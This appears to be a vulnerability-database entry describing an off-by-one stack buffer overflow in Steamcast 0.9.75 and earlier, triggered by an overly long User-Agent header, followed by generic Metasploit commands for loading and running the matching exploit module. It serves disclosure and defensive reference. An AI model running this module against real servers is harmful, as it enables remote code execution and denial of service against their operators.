Off-by-one error in Steamcast 0.9.75 and previous versions allows remote malicious users to cause a denial of service (daemon crash) or execute arbitrary code via a certain HTTP request that leads to a buffer overflow, as demonstrated by a long User-Agent header.
| Vulnerable Product | Search on Vulmon | Subscribe to Product |
|---|---|---|
radio toolbox steamcast |
This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending an overly long User-Agent in an HTTP GET request, an attacker may be able to execute arbitrary code.
Vulmon
msf > use exploit/windows/http/steamcast_useragent
msf exploit(steamcast_useragent) > show targets
...targets...
msf exploit(steamcast_useragent) > set TARGET <target-id>
msf exploit(steamcast_useragent) > show options
...show and set options...
msf exploit(steamcast_useragent) > exploit